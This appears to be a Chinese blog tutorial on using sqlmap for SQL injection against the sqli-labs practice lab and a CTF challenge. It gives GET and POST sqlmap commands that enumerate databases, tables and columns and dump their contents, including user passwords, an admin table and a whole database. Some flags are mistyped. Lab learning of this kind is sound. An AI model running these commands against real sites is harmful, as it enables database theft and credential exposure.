SQL注入之sqlmap爆破sqli-labs-master

sqlmap是一款爆破mysql数据的神器。这里我用sqlmap来演示爆破sqli-labs-master的数据库。

GET型的sqlmap爆破。

1.枚举数据库:

Python sqlmay.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –dbs;

2.列出数据库中数据表:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –D security –tables(-D security 指定 爆 security数据库中的表)


python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1  –tables(可以把数据库中的所有表都爆出来)
3.列出users表中字段:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users --columns

.

4得到字段里面的内容:

python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users -C id,password,username –dump


Post型的sqlmap爆破:首先抓包保存为aa.txt,然后用sqlmap工具跑结果。Sqlmap语句:

1.首先抓包保存为aa.txt。

2.Python sqlmap.py -r aa.txt//可以得到什么数据库(DBMS:MYSQL)

4. Python sqlmap.py -r aa.txt --current-db//可以得到当前使用的数据库(数据库多时,查找当前使用数据库)。

3. Python sqlmap.py -r aa.txt –dbs//可以得到有那几个数据库,得到数据库后爆数据库中存在哪些表

4. Python sqlmap.py -r aa.txt -D skctf_flag(上一步得到的数据库名) --tables//可以得到skctf_flag数据库中存在哪几张表

5. Python sqlmap.py -r aa.txt -D skctf_flag(数据库名) -T fl4g(上一步得到的表名) –coulmns//爆到数据库skctf_flag中fl4g表有几列

6. Python sqlmap.py -r aa.txt -D skctf_flag(数据库名) -T fl4g(表名) -C skctf_flag(上一步得到的列名) --dump//可以得到列的内容。

7.托库,直接爆数据库的内容:Python sqlmap.py -r aa.txt -D skctf_flag–dump//直接爆数据库的内容。数据库大的话会有问题。


sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --thread 9  //服务器基本信息

sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --tables --thread 9  //获取表名 admin

sqlmap.py -u "http://192.168.116.130/shownews.asp?id=58"--columns -T "admin" --thread 9 //获取列名 username password

sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --dump -T"admin"  --thread 9  //获取字段内容 usernamepassword

 

sqlmap -u “URL” --current -db  查看当前数据库。

Sqlmap -u “URL” -D 数据库名 –tables  查看数据库中的表

Sqlmap -u “URL” -D 数据库名 –T 表名 –columns 查看数据库中的表中的列

Sqlmap -u “URL” -D 数据库名 –T 表名 –C 列名 --dump 查看列的内容。






你可能感兴趣的:(CTF之Web)